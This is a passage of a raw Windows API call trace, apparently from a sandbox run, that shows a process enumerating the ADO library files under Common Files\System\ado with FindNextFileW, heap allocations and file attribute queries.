ftCreationTime.dwLowDateTime=0x83410e23, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83410e23, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83410e23, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado26.tlb", cAlternateFileName="")) returned 1 [0064.292] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0064.292] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0064.292] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0064.292] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0064.292] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0064.292] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa040e0 [0064.292] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa06e58 [0064.292] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0064.311] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83436f83, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83436f83, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8345d0e3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado27.tlb", cAlternateFileName="")) returned 1 [0064.311] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0064.311] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0064.311] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0064.311] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0064.311] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0064.311] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa04100 [0064.311] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa06ee0 [0064.311] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0064.311] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83483244, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83483244, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83483244, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado28.tlb", cAlternateFileName="")) returned 1 [0064.311] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0064.311] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0064.311] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0064.311] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0064.311] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0064.311] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa04120 [0064.311] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa06f68 [0064.311] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0064.311] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ec495ee, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9ec495ee, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ec6f74e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x72000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadomd.dll", cAlternateFileName="")) returned 1 [0064.311] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0064.312] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0064.312] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0064.312] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0064.312] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0064.312] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0064.312] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a6a67, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x62a6a67, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x625a7ad, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadomd28.tlb", cAlternateFileName="")) returned 1 [0064.312] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0064.312] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0064.312] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0064.312] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0064.312] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0064.312] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa04140 [0064.312] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa06ff0 [0064.312] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0064.312] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad50fa2, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ad50fa2, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ad50fa2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msador15.dll", cAlternateFileName="")) returned 1 [0064.312] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0064.312] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0064.312] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0064.312] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0064.312] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0064.312] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0064.312] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9debf8b5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9debf8b5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9dee5a15, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x79000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadox.dll", cAlternateFileName="")) returned 1 [0064.312] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0064.312] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0064.312] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0064.313] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0064.313] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0064.313] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0064.313] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5fd3080, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x5fd3080, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x5f60c69, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadox28.tlb", cAlternateFileName="")) returned 1 [0064.313] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0064.313] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0064.313] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0064.313] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0064.313] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0064.313] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa04160 [0064.313] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa07078 [0064.313] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0064.313] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf55bba, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xbf55bba, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x347dbdb0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadrh15.dll", cAlternateFileName="")) returned 1 [0064.313] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0064.313] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0064.313] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0064.313] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0064.313] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0064.313] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0064.313] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf55bba, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xbf55bba, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x347dbdb0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadrh15.dll", cAlternateFileName="")) returned 0 [0064.313] GetLastError () returned 0x12 [0064.313] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9100 [0064.314] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0064.314] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.314] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4c91ed4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa4c91ed4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa06f97f7, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x3912, dwReserved0=0x0, dwReserved1=0x0, cFileName="adojavas.inc", cAlternateFileName="")) returned 1 [0064.314] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4085067, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa4085067, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa0661283, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x3a67, dwReserved0=0x0, dwReserved1=0x0, cFileName="adovbs.inc", cAlternateFileName="")) returned 1 [0064.314] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0064.314] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0064.314] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US" (normalized: "c:\\program files\\common files\\system\\ado\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0064.314] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US" (normalized: "c:\\program files\\common files\\system\\ado\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0064.314] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0064.314] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa09738 [0064.315] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa09738, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xa09738, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0064.315] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa09738) returned 1 [0064.315] NtClose (Handle=0x124) returned 0x0 [0064.315] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0064.315] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0064.315] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa07100 [0064.315] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa07188 [0064.315] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f80 [0064.315] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.315] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a152a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2a152a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll.mui", cAlternateFileName="")) returned 1 [0064.315] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa07210 [0064.315] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa07210) returned 1 [0064.315] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa07210 [0064.315] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa07210) returned 1 [0064.315] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa07210 [0064.315] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa04180 [0064.315] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa07298 [0064.315] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa07210) returned 1 [0064.315] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a152a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2a152a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll.mui", cAlternateFileName="")) returned 0 [0064.315] GetLastError () returned 0x12 [0064.315] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9140 [0064.316] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0064.316] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.316] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a152a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2a152a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll.mui", cAlternateFileName="")) returned 1 [0064.316] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a152a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2a152a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll.mui", cAlternateFileName="")) returned 0 [0064.316] GetLastError () returned 0x12 [0064.316] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa07188) returned 1 [0064.316] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0064.316] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa07100) returned 1 [0064.316] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0064.316] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6129cc5, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x6129cc5, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x80fe7780, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll", cAlternateFileName="")) returned 1 [0064.316] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7da10b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f7da10b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f80026c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x16e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado15.dll", cAlternateFileName="")) returned 1 [0064.316] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833eacc3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x833eacc3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x833eacc3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado20.tlb", cAlternateFileName="")) returned 1 [0064.316] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833eacc3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x833eacc3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x833eacc3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x12000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado21.tlb", cAlternateFileName="")) returned 1 [0064.316] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83410e23, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83410e23, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83410e23, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado25.tlb", cAlternateFileName="")) returned 1 [0064.316] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83410e23, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83410e23, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83410e23, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado26.tlb", cAlternateFileName="")) returned 1 [0064.316] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83436f83, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83436f83, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8345d0e3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado27.tlb", cAlternateFileName="")) returned 1 [0064.316] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83483244, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83483244, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83483244, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado28.tlb", cAlternateFileName="")) returned 1 [0064.316] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ec495ee, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9ec495ee, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ec6f74e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x72000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadomd.dll", cAlternateFileName="")) returned 1 [0064.316] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: 